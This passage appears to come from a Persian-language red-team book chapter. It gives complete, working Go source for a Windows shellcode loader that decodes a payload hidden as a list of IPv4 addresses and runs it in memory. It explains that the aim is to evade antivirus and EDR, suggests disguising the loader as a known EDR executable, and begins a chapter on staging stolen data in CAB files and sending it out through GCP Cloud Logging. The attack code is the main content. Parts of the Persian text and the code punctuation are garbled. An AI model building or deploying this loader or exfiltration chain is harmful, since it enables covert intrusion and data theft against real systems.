  شمدهفشمرده اندازه سمپس)( encodeFile  تابع. گرداندبرمی  را  شمدهفشمرده  هایبایت و  شمود، تخلیه بافرشمده  داده  هر  تا بنددمی

 .کندمی چاپ دوباره مک  از قبل را هگز  نمایشپیش و

  حلقه  بایتی 4  هایافزایش  در شمممدهفشمممرده داده  از.  6 دهدمی  انجام را  IP  آدرس واقعی تبدیل)(  obfuscateAsIPv4 بعد،

 4  تما  و  کنمدمی ایجماد  segment  بمایتی  4  آرایمه  یمک  تکرار،  هر برای.  کنمدمی  ایجماد  IPv4 همایآدرس  تکمه  هر از  و  زنمد،می

  سپس (.  باشد بایت  4  از  کمتر  اگر نهایی تکه مدیریت  برای min کمکی  از  استفاده با) کندمی کپی  را  شدهفشرده  داده  از بایت

segment  شممیس  یک به  را  net.IP اسممتاندارد  اعشممارینقطه  گذارینشممانه در  رشممته  یک  عنوانبه  را  آن و  کندمی تبدیل 

  نهایی  تکه اگر(. شودمی تبدیل″  31.139.8.0″ به[  0x1F, 0x8B, 0x08, 0x00] مثال، برای بنابراین،)  کندمی بندیقالب

 IP  هایرشته  از برش یک  تابع.  شودمی پر صفر با ثابت  اندازه با  آرایه  توسط  خودکار طوربه باشد، بایت 4  از کمتر حاوی
 .کندمی کمک هاIP خرابی تشخیص به بعدی مک . کندمی چاپ را اول IP پنج و تعداد  )( encodeFile و گرداند،برمی

 رشمممته یک عنوانبه  را فایل محتوای.  8  نویسمممدمی خروجی فایل  در  را  شمممدهسمممازیمبهم  داده)(  saveToFile  نهایت،  در

 هدر این. کندمی ثبت را شدهفشرده  داده اندازه  که  کندمی شمروع″  SIZE:XXXXXX″ قالب  در  SIZE  هدر یک  با و  سمازد،می

 رمزگشممایی طول در باید رمزگذاری طول  در ناقص  بایتی  4 هایتکه به  شممدهاضممافه صممفر پرکردن  چون اسممت ضممروری
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  فراخوانی.  نویسمدمی خط هر  در IP  آدرس یک  تابع  هدر، از پس. شمود جلوگیری شمدهرمزگشمایی  بار  خرابی از تا شمود بریده

ioutil.WriteFile )(کندمی چاپ  موفقیت پیام یک و نویسدمی دیسک روی را کامل رشته. 

  اقدام یک  عنوانبه و  اسمت)( encodeFile  معکوس  باشمید، داشمته انتظار اسمت  ممکن  که طورهمان ،)(decodeFile  تابع

 آیا ببینید تا کنید اسمتفاده decode حالت از توانیدمی بخورد، شمکسمت اجرا در شمما لودر اگر. 3 اسمت  شمده  ارائه  یابیعیب

  کمکی   تمابع  فراخوانی  بما  تمابع  این.  اسمممممت  کرده  تغییر  وینمدوز  fc  فرممان  مماننمد  مقمایسمممممه  ابزار  یمک  از  اسمممممتفماده  بما  چیزی

loadFromFile )(هدر قالب خواند،می  را فایل  که ،9 شممودمی شممروع  SIZE  از اسممتفاده با  را strings.HasPrefix )(

  اصملی شمدهفشمرده اندازه با همراه  را IP  آدرس  فهرسمت و کند،می تجزیه)(  strconv.Atoi با را  اندازه  کند،می اعتبارسمنجی

 .کندمی چاپ تأیید برای را IP تعداد  تابع سپس. گرداندبرمی

 و  کند،می تکرار  IP آدرس  رشممممته هر  روی. 7 کندمی  معکوس  را  بایت-به-IP  تبدیل)( deobfuscateFromIPv4 بعد،

 IPv4  بایتی 4  نمایش یک به  را  شمدهتجزیه  To4() IP متد.  کندمی تجزیه  قالب اعتبارسمنجی برای)( net.ParseIP  با  را  آن

 پردازش  از پس.  شموندمی  اضمافه نتیجه بافر به بایت 4  این و  ،(گرداندبرمی  nil  نباشمد  معتبر  IPv4  آدرس اگر)  کندمی تبدیل

 این  بدون.  کند  حذف  را رمزگذاری طول  در  شمدهاضمافه صمفر پرکردن تا بردمی originalSize به  را  نتیجه تابع ها،IP تمام

  انتظار   حد  از  ترکوتاه شمدهبازسمازی  داده اگر.  کنندمی خراب  را  Gzip  رمزگشمایی  اضمافی پرکردن  هایبایت برش، عملیات

 از  قبل را هگز  نمایشپیش و  اندازه)( decodeFile  تابع. گرداندبرمی است  فایل خرابی دهندهنشمان  که خطا  یک تابع باشمد،

 .کندمی چاپ  مک 

 در  را شمممدهفشمممرده ورودی که کند،می باز)(  gzip.NewReader  از  اسمممتفاده با  را بار  decompressData() 5  تابع

bytes.Reader  پیچممد،می  gzip.Reader  هممایبممایممت  و  بنممدد،می  خوانممد،می  بممافر  بممه  کنممد،می  ایجمماد  shellcode 

 که کندمی حاصمممل اطمینان)( defer reader.Close  منابع،  نشمممت  از  جلوگیری  برای. گرداندبرمی  را  شمممدهرمزگشمممایی

reader Gzip  رمزگشممایی، از پس. دهند رخ خطاها اگر حتی  شممودمی بسممته درسممتیبه decodeFile )(و نهایی اندازه 

 .نویسدمی خروجی فایل در را شدهرمزگشایی shellcode و  کند،می  مک  کند،می چاپ را هگز  نمایشپیش

 :کنید اجرا زیر صورتبه( اپراتور ماشین روی) را ابزار

C:\> encode.exe encode payload_shell.txt IPv4.txt 

 :باشد زیر مشابه باید شما خروجی

Original file size: 432640 bytes 

Original data (first 32 bytes hex) : 

e880f9050080f90500b5cff0ad05fbb3ebc92c92efa0d5f2a8deb1b67374f6c7 

Press Enter to continue ... 

Compressed size: 407239 bytes 

Compressed data (first 32 bytes hex) : 

1f8b080000000000ffbcc6d38e288001005d6ddbb66ddbb66ddcb56ddbb6 

Press Enter to continue ... 
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Generated 101810 IPv4 addresses 

First few IPv4 addresses : 

1 :31.139.8.0 

2 :0.0.0.0 

3 :0.255.188.198 

4 :211.142.40.128 

5 :1.0.209.181 

Press Enter to continue ... 

Encoded data saved to: IPv4.txt 

 از  رسممممیدن نظر به  گناهبی فهرسممممت یک در را  آن و  کنید اسممممتخراج بار یک  از را shellcode چگونه ایددیده اینجا، تا

 آماده نهایی و سمموم  مرحله برای شممما. کنید  فرار مدرن  EDR و  ویروسآنتی  امضمماهای  از  تا کنید بندیبسممته IP  هایآدرس

 .بار اجرای سپس و بازسازی برای لودر ساختن: هستید

 Loader ابزار  با  حافظه در  بار اجرای
 برای قرمز هایتیم  توسمممط  معمولا   که اسمممت  Windows  برای فقط shellcode  لودر  یک  فصمممل  این Go  برنامه  آخرین

 گیردمی را  شمدهفشمرده و شمدهسمازیمبهم  عمدا   بار  یک  لودر. شمودمی اسمتفاده  حافظه  در  کاملا   طوربه بارها  اجرای و تحویل

 و کنندمی اسمتفاده مهاجمان که دهدمی نشمان را ایلایه  فرار  تکنیک سمه این. کندمی اجرا دیسمک روی نوشمتن بدون را  آن و

 :هستند آن دنبال به مدافعان

  هایآدرس از متنی فایل یک عنوانبه  خارجی صمممورتبه بلکه شمممودنمی  جاسمممازی خام هایبایت عنوانبه بار سمممازیمبهم

IPv4 دهدمی کاهش را ایستا امضای هایاسکن اثربخشی و کندمی ضرربی شبکه داده شبیه را آن و شود،می ذخیره. 

 تغییر را آنتروپی هایویژگی و دهدمی کاهش را بار اندازه که شمود،می فشمرده  Gzip  با سمازیمبهم از  قبل بار سمازیفشمرده

 .کند فرار اکتشافی هایدهندهتشخیص برخی از تواندمی که دهد،می

 ناحیه  آن در  را بار دهد،می  تخصمممیص حافظه کند،می رمزگشمممایی را  آن کند،می بازسمممازی  را بار لودر  حافظه  در  اجرای

 نوشمتن از اجتناب. RAM در همه—کندمی اجرا  را  آن و  کند،می  گذاریعلامت  اجرا قابل  عنوانبه را  آن  نویسمد،می  حافظه

 .کندمی  کمک پایانی نقطه پایه هایکنترل و فایل بر مبتنی اسکن زدن دور به دیسک روی

 :کنید دنبال را مراحل این ،loader.go کد  کامپایل برای

 .mkdir loader: کنید ایجاد خود کد برای پوشه یک. 1

 .cd loader: بروید جدید پوشه به. 2

 .کنید ذخیره و کنید، گذاریجای آن در را loader.go کد کنید، ایجاد خود علاقه مورد ویرایشگر با جدید فایل یک. 3

 .کنید اولیه مقداردهی go mod init loader با را خود پروژه. 4
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5 .go mod tidy کنید اجرا را. 

 .بسازید go build loader.go با را اجرایی فایل. 6

  اضمممافه  کنسمممول  پنجره  حذف  برای را″  ldflags=″-H=windowsgui- پرچم  توانیدمی  اضمممافی، کاریپنهان برای توجه

 :شود مخلوط اجرا هنگام کندمی کمک لودر به که  کنید،

go build -ldflags=″-H=windowsgui″ -o app.exe loader.go 

 .دهدمی نشان را loader.go کامل  اسکریپت 3-7 فهرست

package main 

import  ( 

″bytes″ 

″compress/gzip ″ 

″fmt ″ 

″net ″ 

″os″ 

″runtime ″ 

″strconv ″ 

″strings ″ 

″syscall ″ 

″unsafe″ 

) 

func main() { 1 

// Ensure the program runs only on Windows . 

if runtime.GOOS != ″windows { ″ 

os.Exit(1 ) 

} 

// Validate command line arguments. 

if len(os.Args) < 2  { 
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os.Exit(1 ) 

} 

inputFilePath := os.Args[1 ] 

// Step 1: Read the obfuscated file. 

ipAddresses, originalSize, err := loadFromFile(inputFilePath) 

if err != nil  { 

os.Exit(1 ) 

} 

// Step 2: Convert IPv4 addresses back to binary data. 

compressedData, err := deobfuscateFromIPv4(ipAddresses, originalSize) 

if err != nil  { 

os.Exit(1 ) 

} 

// Step 3: Decompress the data. 

shellcode, err := decompressData(compressedData) 

if err != nil  { 

os.Exit(1 ) 

} 

// Step 4: Load and execute shellcode in memory (Windows-specific) . 

err = executeShellcode(shellcode) 

if err != nil  { 

os.Exit(1 ) 

} 

} 

func loadFromFile(filePath string) ([]string, int, error) { 2 

data, err := os.ReadFile(filePath) 
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if err != nil  { 

return nil, 0, fmt.Errorf(″failed to read file: %v″, err) 

} 

lines := strings.Split(strings.TrimSpace(string(data)), ″\n″) 

if len(lines) < 1  { 

return nil, 0, fmt.Errorf(″file is empty″) 

} 

// Parse the size from the first line . 

sizeLine := strings.TrimSpace(lines[0]) 

if !strings.HasPrefix(sizeLine, ″SIZE:″) { 

return nil, 0, fmt.Errorf(″invalid file format: missing SIZE header″) 

} 

sizeStr := strings.TrimPrefix(sizeLine, ″SIZE:″) 

originalSize, err := strconv.Atoi(sizeStr) 

if err != nil || originalSize <= 0  { 

return nil, 0, fmt.Errorf(″invalid size format or value: %v″, err) 

} 

// Get IP addresses from remaining lines and validate. 

ipAddresses := make([]string, 0, len(lines)-1) 

for _, ip := range lines[1{ ]: 

ip = strings.TrimSpace(ip) 

if ip  { ″″ == 

continue // Skip empty lines. 

} 

if !isValidIPv4(ip)  { 

return nil, 0, fmt.Errorf(″invalid IPv4 address in file: %s″, ip) 
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} 

ipAddresses = append(ipAddresses, ip) 

} 

if len(ipAddresses) == 0 { 

return nil, 0, fmt.Errorf(″no valid IP addresses found in file″) 

} 

return ipAddresses, originalSize, nil 

} 

func isValidIPv4(ipStr string) bool { 3 

ip := net.ParseIP(ipStr) 

if ip == nil  { 

return false 

} 

return ip.To4() != nil 

} 

func deobfuscateFromIPv4(ipAddresses []string, originalSize int) ([]byte, error) { 4 

result := make([]byte, 0, len(ipAddresses)*4) 

for _, ipStr := range ipAddresses { 

ipStr = strings.TrimSpace(ipStr) 

if ipStr  { ″″ == 

continue // Skip empty lines (already validated) 

} 

ip := net.ParseIP(ipStr) 

if ip == nil  { 

return nil, fmt.Errorf(″invalid IP address: %s″, ipStr) 

} 
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// Convert to IPv4 (4 bytes) 

ipv4 := ip.To4 )( 

if ipv4 == nil  { 

return nil, fmt.Errorf(″not a valid IPv4 address: %s″, ipStr) 

} 

result = append(result, ipv4...) 

} 

// Validate and trim to original size. 

if len(result) < originalSize { 

return nil, fmt.Errorf(″deobfuscated data too short: got %d bytes, expected %d,″ 

len(result), originalSize ) 

} 

if len(result) > originalSize { 

result = result[:originalSize] 

} 

return result, nil 

} 

func decompressData(data []byte) ([]byte, error) { 5 

reader, err := gzip.NewReader(bytes.NewReader(data)) 

if err != nil  { 

return nil, fmt.Errorf(″failed to create gzip reader: %v″, err) 

} 

defer reader.Close)( 

var buf bytes.Buffer 

 ,_err = buf.ReadFrom(reader) 

if err != nil  { 
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return nil, fmt.Errorf(″failed to decompress data: %v″, err) 

} 

return buf.Bytes(), nil 

} 

func executeShellcode(shellcode []byte) error { 6 

if len(shellcode) == 0  { 

return fmt.Errorf(″shellcode is empty″) 

} 

// Load Windows API functions . 

kernel32, err := syscall.LoadDLL(″kernel32.dll″) 

if err != nil  { 

return fmt.Errorf(″failed to load kernel32.dll: %v″, err) 

} 

defer kernel32.Release )( 

virtualAlloc, err := kernel32.FindProc(″VirtualAlloc″) 

if err != nil  { 

return fmt.Errorf(″failed to find VirtualAlloc: %v″, err) 

} 

virtualProtect, err := kernel32.FindProc(″VirtualProtect″) 

if err != nil  { 

return fmt.Errorf(″failed to find VirtualProtect: %v″, err) 

} 

createThread, err := kernel32.FindProc(″CreateThread″) 

if err != nil  { 

return fmt.Errorf(″failed to find CreateThread: %v″, err) 

} 
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waitForSingleObject, err := kernel32.FindProc(″WaitForSingleObject″) 

if err != nil  { 

return fmt.Errorf(″failed to find WaitForSingleObject: %v″, err) 

} 

virtualFree, err := kernel32.FindProc(″VirtualFree″) 

if err != nil  { 

return fmt.Errorf(″failed to find VirtualFree: %v″, err) 

} 

// Allocate memory with read/write permissions. 

const  ( 

MEM_COMMIT = 0x1000 

MEM_RESERVE = 0x2000 

PAGE_READWRITE = 0x04 

PAGE_EXECUTE_READWRITE = 0x40 

MEM_RELEASE = 0x8000 

INFINITE = 0xFFFFFFFF 

) 

addr, _, err := virtualAlloc.Call ( 

0 // ,Let system choose address. 

uintptr(len(shellcode)), // Size of shellcode 

MEM_COMMIT|MEM_RESERVE, // Commit and reserve memory . 

PAGE_READWRITE, // Initial permissions 

) 

if addr == 0  { 

return fmt.Errorf(″VirtualAlloc failed: %v″, err) 

} 
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defer func { )( 

// Free allocated memory. 

 = _ ,_ ,_virtualFree.Call(addr, 0, MEM_RELEASE) 

 )(} 

// Copy shellcode to allocated memory . 

for i, b := range shellcode { 

*(*byte)(unsafe.Pointer(addr + uintptr(i))) = b 

} 

// Change memory protection to executable . 

var oldProtect uint32 

ret, _, err := virtualProtect.Call ( 

addr, 

uintptr(len(shellcode)) , 

PAGE_EXECUTE_READWRITE , 

uintptr(unsafe.Pointer(&oldProtect)), 

) 

if ret == 0   { 

return fmt.Errorf(″VirtualProtect failed: %v″, err) 

} 

// Create a new thread to execute the shellcode. 

threadHandle, _, err := createThread.Call ( 

0  // ,Default security attributes 

0  // ,Default stack size 

addr, // Start address (shellcode) . 

0  // ,No parameters 

0 // ,Creation flags (run immediately) 
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0  // ,Thread ID (not needed) 

) 

if threadHandle == 0   { 

return fmt.Errorf(″CreateThread failed: %v″, err) 

} 

defer syscall.CloseHandle(syscall.Handle(threadHandle)) 

// Wait for the thread to complete. 

 ,_ ,_err = waitForSingleObject.Call ( 

threadHandle, 

INFINITE, // Wait indefinitely . 

) 

if err != nil && err != syscall.Errno(0 { ) 

return fmt.Errorf(″WaitForSingleObject failed: %v″, err) 

} 

return nil 

} 

 IPv4 شدهرمزگذاری  بارهای از shellcode اجرای: 3-7 فهرست

 runtime.GOOS)  شودمی  اجرا  Windows  روی  برنامه  اینکه  تأیید  با  main  تابع  معمول،  اندازیراه  و  واردات  از  پس
!= ″windows  )″1 شمودمی شمروع  اسمت شمده  ارائه( شمدهسمازیمبهم  فایل مسمیر) فرمان خط آرگومان یک  حداقل اینکه و  .

 را تابع چهار بعد،. کند جلوگیری مشممکوک خروجی ثبت از تا شممودمی خارجos.Exit(1 ) با صممدابی خطاها تمام در  لودر

 برای)( deobfuscateFromIPv4  شمممده،سمممازیمبهم  فایل خواندن  برای)( loadFromFile:  کندمی  فراخوانی  ترتیببه

 خام،  shellcode دریافت برای  فایل کردن باز  برای)(  decompressData ها،IP  از  شمدهفشمرده  باینری  داده بازسمازی

 .حافظه در shellcode اجرای برای)( executeShellcode و

  کند، می تقسیم خطوط  به  را  فایل.  2 خواندمی  حافظه  در  بایت  برش یک  عنوانبه  را  IPv4  فایل کل)(  loadFromFile تابع

. کندمی تجزیه صممحیح  عدد یک به)(  strconv.Atoi طریق از  را  آن  سممپس  دارد، را  اول خط  در″  SIZE:XXXX″ انتظار

)(  isValidIPv4  کمکی  تمابع  از  اسمممممتفماده  بما  را  IP  هر  تمابع.  بماشمممممنمد  IPv4  آدرس  یمک  حماوی  بمایمد  کمدام  هر  بعمدی  خطوط

 خطوط و  کند،می استفاده  IP هایرشته اعتبارسنجی  برای To4() Go و)( net.ParseIP  توابع  از که کند،می اعتبارسنجی

 اگر گرداند؛برمی  را شمدهفشمرده  فایل اندازه و  IP فهرسمت)( loadFromFile  موفقیت، صمورت  در.  3  کندمی  رد را  خالی

 .گرداندبرمی خطا یک تابع باشد، داشته نامعتبر هایIP یا باشد، شده گم SIZE هدر باشد، خالی فایل
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  به)(  To4 بما را  کمدام هر و  کنمد،می تکرار  هماIP روی.  4  کنمدمی  معکوس را  بمار  تبمدیمل)( deobfuscateFromIPv4  بعمد،

  originalSize  به را نتیجه  تابع سممممپس. کندمی  اضممممافه  بایت بافر یک به  را  آن و  کندمی تجزیه IPv4  بایتی  4  برش یک

 حد  از  ترکوتاه شممدهبازسممازی داده اگر. کند  حذف را  رمزگذاری فرایند طول  در  شممدهاضممافه صممفر پرکردن هر تا بردمی

 .کندمی تولید خطا  یک باشد، انتظار

  پیچد، می  gzip.NewReader  یک  در  را  شمممدهفشمممرده  هایبایت تابع. 5 کندمی باز را بار)( decompressData  تابع

)( defer reader.Close تابع. گرداندبرمی را  اصملی  shellcode و خواند،می بافر یک در  را شمدهرمزگشمایی خروجی

 .کندمی تضمین دهند رخ خطاها اگر حتی را پاکسازی

  بما .  6  دهمدمی  انجمام  Windows  همایAPI  از  اسمممممتفماده  بما  را  حمافظمه  واقعی  تزریق)(  executeShellcode  نهمایمت،  در

 ،VirtualAlloc،  VirtualProtect،  CreateThread  برای  تمابع  گرهمایاشممممماره حمل  و  kernel32.dll  پویما بمارگمذاری

WaitForSingleObject،  و VirtualFree  بسمته  طریق  از syscall Go شمودمی شمروع  .VirtualAlloc  به  ایحافظه 

 سمممپس،. دهدمی تخصمممیص سمممیسمممتم توسمممط شمممدهانتخاب آدرس یک در PAGE_READWRITE با shellcode  اندازه

unsafe.Pointer  نویسمدمی یافتهتخصمیص آدرس  به دسمتی  صمورتبه را  بایت  هر .VirtualProtect  را  حافظه حفاظت 

 بمازگردانی  برای  را  قبلی  مجوزهمای  و  کنمد،  اجرا  قمابمل  را  نماحیمه  تما  دهمدمی  تغییر  PAGE_EXECUTE_READWRITE  بمه

  آن و  کندمی  شمممروع پارامترها بدون  shellcode آدرس  در جدید رشمممته یک CreateThread بعد،. کندمی ذخیره  بالقوه

  همایفراخوانی  و  ،(نهمایمتبی  مهلمت)  شمممممودمی  مسمممممدود رشمممممتمه پمایمان  تما  WaitForSingleObject. کنمدمی اجرا فورا   را

 .بندندمی را رشته دسته و آزاد را حافظه  شدهموکول

 :کنید اجرا زیر صورتبه را کد سپس کنید، کپی هدف ماشین به را IPv4 فهرست و اجرایی فایل

C:\> app.exe ipv4.txt 

 که آنجا  از مثال، برای. کنید  تقویت بودن مشمروع ظاهر با را  آن  توانیدمی اسمت،  سماده  لودر  یک فقط مثال این  که حالی  در

shellcode آدرس  فهرسممممت یک در  را  IP  یک  توانیدمی  کنید،می  بندیبسممممته GUI  عنوانبه را  لودر تا  کنید ایجاد  جعلی  

  EDR  اجرایی فایل یک اسممت، شممده  داده نشممان  2-7 شممکل  در که طورهمان یا، شممبکه اسممکنر  یک مانند  مشممروع  افزارنرم

 .کنید  پنهان شدهشناخته

 

 شدهشناخته EDR یک عنوانبه بار  و لودر  کردن پنهان: 2-7 شکل
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 مبدل برای shellcode،  Encode اسممممتخراج برای  Ex2Shell: ایدکرده کامل  را  ترکیبی  بندیبسممممته کار گردش  آن، با

 از کندمی کمک شممممما به ایمرحلهسممممه رویکرد این.  حافظه  در  آن  اجرای برای Loader و ضممممرر،بی  داده به  آن  کردن

 .کنید فرار کنندمی تکیه هاآن به مدافعان که تشخیصی هایروش

 خلاصه 
 ابزار.  کردید  اسممتفاده  خود قرمز  تیم عملیات  به  کمک برای سممفارشممی ابزار  چندین ایجاد برای  Go از شممما  فصممل، این  در

 فمایمل  یمک  در را  shellcode دوم،  ابزار  ،Encode.  کنمدمی  تبمدیمل  shellcode  بمه را اجرایی  بمار  هر  ،Ex2Shell اول،

  نهایت،  در. کندمی  بندیبسممته اسممت IPv4  هایآدرس از  ضممرربی  فهرسممت یک  شممبیه  که  شممدهسممازیمبهم و فشممرده  متنی

Loader از  فرار  برای را  آن پنهان بار و  کنید تزریق حافظه  به را  ضممممرربی  ظاهرا    متنی  فایل آن  دهدمی اجازه  شممممما به 

 .کنید اجرا  تشخیص

 :بکشید چالش به بهبودها  این با  را خود بگیرید نظر  در هستند، کاربردی کاملا   هستند که  طورهمان  ابزارها این  که  حالی  در

 این با(. کنید مراجعه Donut مسممتندات به  جزئیات برای) کنید  اضممافه خود تولیدشممده  shellcode به  بیشممتری آنتروپی •

 .باشد داشته معکوس اثر تواندمی حد از بیش آنتروپی که باشید داشته خاطر به حال،

 بنابراین نیسممتند، آشممنا خیلی IPv6 با هنوز IT افراد بیشممتر. دهید افزایش IPv4 جایبه IPv6  از اسممتفاده با را سممازیمبهم •

 .دهندمی دست از مقایسه قابل IPv4 هایآدرس از بیشتر را نادرست IPv6 هایآدرس  احتمالا  

 و مشمروع هایبرنامه بارگذاری برای  فصمل این  در  آن مشمابه لودرهایی  از ما.  کنید سمفارشمی عملیات  اسماس  بر  را  لودر •

 همراهی  برای جعلی GUI  یک  توانیدمی همچنین شممد، ذکر قبلا    که طورهمان. ایمکرده اسممتفاده خود  shellcode  همچنین

 .کنید ایجاد لودر

 .کندمی فراهم شدن کشف برابر در محافظت دیگر سطح یک که کنید، اضافه را خود کد امضای  توانایی •

 .کنید خودکار را کار گردش تا کنید ادغام خود C2 چارچوب در را ابزارها این •
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 داده  پنهانی استخراج  و سازیصحنه  8
 

  ابزارهای و استاندارد هایکتابخانه با فرضپیش طوربه اغلب کنندگانتست استخراج، برای  داده سازیصحنه هنگام

 نکنند، گذاریعلامت را  هاEDR ابزارها  این اگر حتی. نویسندمی اسکریپت یا سازندمی 7z و zlib مانند سازیفشرده

  در  7z.  یا zip. هایفایل : دهدمی تشخیص خطر نشانگرهای عنوانبه  را هاآن  SIEM که کنندمی ایجاد مصنوعاتی
  این  در. نمونه چند عنوانبه مشابه، اندازه با متوالی هایفایل و سازی،فشرده   ابزار امضاهای غیرمعمول، هایدایرکتوری

 Microsoft هایفایل  از و بزنید، دور تشخیصی الگوهای این   از تا کرد خواهید ایجاد Go  در سفارشی ابزار  شما فصل،
CAB و سازیصحنه  برای GCP Cloud Logging لوله  خط یک فصل، پایان در. کنید استفاده پنهانی انتقال برای  

 تریطولانی مدت برای کندمی کمک شما به و دهدمی کاهش را شما عملیاتی امضای که  داشت خواهید کارآمد استخراج

 . بمانید SOC  رادار زیر

  را کردن تکهتکه پیچند،می جدید قالب یک در  را بار که است  ابزار چندین شامل ساخت خواهید فصل  این در که حلیراه

 حلراه  این ها،LOLBin بر تکیه جایبه. کنندمی استریم GCP Cloud Logging به را باینری و کنند،می  اعمال

  یک بار، آمیزموفقیت استخراج از پس. نیستند معمول تهدید  بازیگر هایگروه بیشتر برای که کندمی ترکیب را هاییتکنیک

 . کرد خواهید ایجاد هاتکه بازسازی و دانلود برای بازیابی ابزار

 سازی صحنه
 با  معمولا   پایانی نقاط در مستقر DLP افزار نرم. کرد  خواهیم شروع سازیصحنه به رویکردمان نحوه تغییر با ما

  دانستن با. دهندمی  قرار هدف را MIME انواع یا جادویی، هایبایت خاص، فایل پسوندهای که شودمی تنظیم هاییسیاست

 ممکن هااین  همه که—کنندمی تمرکز خود هایفایل تقسیم سپس و رمزنگاری، سازی،فشرده بر اغلب کنندگانتست این،

 هایفایل  و دهند،  افزایش را دیسک روی آنتروپی هایتشخیص شانس دهند، افزایش بزرگ هایفایل  برای را I/O است

 . بگذارند جا را مشابه اندازه با متوالی

 خواهید سازیفشرده  بدون Microsoft cabinet (CAB)  فایل  قالب از استفاده با سازیصحنه حلراه  یک عوض در شما

 با cabinet هر در فایل  65,535 حداکثر با CAB فایل  چند یا دو  در را بزرگ هایفایل دهدمی اجازه قالب این. ساخت
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  این برای اما شوند،می پشتیبانی نیز دیجیتال هایگواهی و  سازیفشرده. کنید تقسیم CAB فایل  هر در  2GB اندازه حداکثر

 .داشت نخواهید نیاز هاآن به آزمایشگاه

 بنابراین و شوند،می گرفته نظر در کنندمی  اشغال را دیسک فضای  که  مزاحم هایفایل عنوانبه معمولا   CAB هایفایل

  قراردادهای از استفاده با صحیح،  فایل مکان در  سازیصحنه. شوندمی گرفته نادیده Windows هایسیستم در عموما  

  نظر به را هاآن( مختلف  فایل هایاندازه  ایجاد) شوند اضافه هاییفایل   چه اینکه کردن تصادفی و استراتژیک، گذارینام

 هیچ کند،می اسکن پایانی نقطه روی را ابزار EDR که  هنگامی. رساندمی Windows هایروزرسانیبه  با مرتبط

 .کرد نخواهد پیدا کنند  اضافه  میزبان خطر امتیاز به توانندمی که رایج بندیبسته و سازیفشرده هایرشته  به  ارجاعی

 استخراج
 قبلا   که)  GCP Cloud Logging از استفاده با را رمزنگاری شما. است استخراج جزس  ساخت خواهید که دومی ابزار

Stackdriver فایل هر. کرد  خواهید مدیریت خود میزبانی و مسیر  تغییر سرویس عنوانبه(  شدمی نامیده  CAB یک به 

 تکهتکه GCP رسمی SDK از استفاده با هگز به شدهرمزگذاری  JSON گزارش ورودی یک عنوانبه  خاص اندازه

 پوشش را انتقال حال  در رمزنگاری و پایه خطای مدیریت  خودکار طوربه کلاینت و API پایانی نقطه از استفاده. شودمی

 بسیار پایانی نقطه به ترافیک چون  هم و هزینه برای هم کردیم انتخاب storage بر را  Cloud Logging ما. دهدمی

 . شود بررسی دارد احتمال کمتر

 بازیابی 
 هاآن  زمانی مُهر و exfil شناسه با را آپلودشده هایتکه خودکار طوربه  که ساخت خواهید بازیابی کلاینت یک همچنین شما

 هگز تمام و بگیرید را JSON بار سادگیبه توانیدمی همچنین. کندمی  بازسازی اصلی فایل در   را هاآن سپس کند،می دانلود

 .کنید متصل هم به نیاز صورت در Cloud Logging از مستقیما   خودتان را

 فنی الزامات

 : دارید نیاز زیر موارد  به آزمایشگاه، این تکمیل برای

 مالک  حقوق با GCP پروژه •

• Go (اندشده آزمایش  1.24.4 نسخه با کد های لیست تمام) شدهنصب 

• VS Code رسمی افزونه با  Go ( اختیاری) شدهنصب 

 استقرار  معماری
 . کرد خواهد استفاده 1-8 شکل در شدهداده  نشان بالا سطح توابع از ،GoStageCab سازی،صحنه  ابزار
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 سازیصحنه کلاینت برای بالا سطح تابع کار گردش: 1-8 شکل

  تغییر زیرساخت از هافایل  آپلود برای ،GoLogExfil جداگانه، استخراج ابزار یک به سازی،صحنه  ابزار ساخت از پس

 . است شده داده نشان 2-8 شکل در که طورهمان داشت، خواهید نیاز خود مسیر

 

 استخراج  کلاینت برای بالا سطح تابع کار گردش: 2-8 شکل

  نشان 3- 8 شکل در که طورهمان کند،می دنبال را متفاوتی جریان ،GoLogRetrieve فایل، بازسازی  و بازیابی کلاینت

 . است شده داده
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 بازیابی   کلاینت برای بالا سطح کار گردش: 3-8 شکل

 خواهید کندمی مدیریت را CAB هایفایل  استخراج هم و ایجاد هم که واحد باینری یک عنوانبه  را سازیصحنه  ابزار شما

  شما حال، این با. کنید ترکیب یا دهید تغییر هدف  روی را  سازیصحنه عملیات باشید داشته نیاز است ممکن چون ساخت،

  اجرا شما زیرساخت روی بازیابی کلاینت چون کرد، خواهید استفاده بازیابی و استخراج برای جداگانه هایباینری از

 . هدف میزبان روی نه شود،می

  را  دارند نیاز ابزارها این که  سرویس حساب هایاعتبارنامه  و کرد خواهید اندازیراه  را خود GCP محیط شروع، برای

 . کرد خواهید ایجاد

 شما  GCP  محیط اندازیراه 
  خود Google Cloud کنسول به. کنید ایجاد  خود کد در سازیپیاده برای JSON هایاعتبارنامه باید آزمایشگاه، این برای

  کلیک  بالا نزدیک Create Service Account روی و کنید، جستجو را service account عبارت شوید، وارد

 .ببینید را 4-8 شکل در شده داده  نشان گفتگوی باید. کنید
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 Google Cloud کنسول در Create Service Account هایگزینه: 4-8 شکل

  حساب و کنید کلیک Create and Continue روی اتمام، از پس. کنید پر است شده داده نشان که طورهمان را جزئیات

 .کنید ذخیره را خود سرویس

  اعطا پروژه به دسترسی سرویس حساب به تا دهید  ادامه( 4-8 شکل در شدهداده  نشان) 2  مرحله به که شوید مطمئن بعد،

 طوربه. کنید کلیک Done و Continue روی سپس و کنید، اضافه را Log Writer و Log Viewer هاینقش و کنید،

. کنید اضافه پروژه سطح در دسترسی برای را سرویس حساب principal و کنید جستجو را IAM توانیدمی جایگزین،

  شکل در که طورهمان کنید، متصل سرویس حساب به را Logs Writer و Logs Viewer هاینقش باید صورت، آن  در

 . است شده داده نشان 8-5
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 سرویس حساب برای IAM هاینقش اتصال: 5-8 شکل

 که طورهمان کنید، ایجاد را JSON کلید تا بازگردید Service Account صفحه به باید حالا. کنید کلیک Save روی

  کشویی منوی از و بروید،  Keys تب به کنید، انتخاب فهرست در را خود سرویس حساب.  است  شده توصیف 4 فصل در

Add Key پایین، نزدیک Create New Key JSON Create کنید انتخاب  را. 

  در Base64 رمزگذاری از استفاده با مستقیما   را آن شما. کنید دانلود بار یک فقط را کلید این توانیدمی  باشید، داشته یاد به

  آسان  آن تجزیه چون کردیم انتخاب آزمایشگاه  این برای را Base64 ما. کرد خواهید جاسازی میزبان باینری هایفایل

 تغییر ترجیح صورت در رمزگذاری هایروال  سایر یا سفارشی رمزنگاری از استفاده برای را کد توانیدمی هرچند است،

 .دهید

 CAB سازیصحنه ابزار ساختن
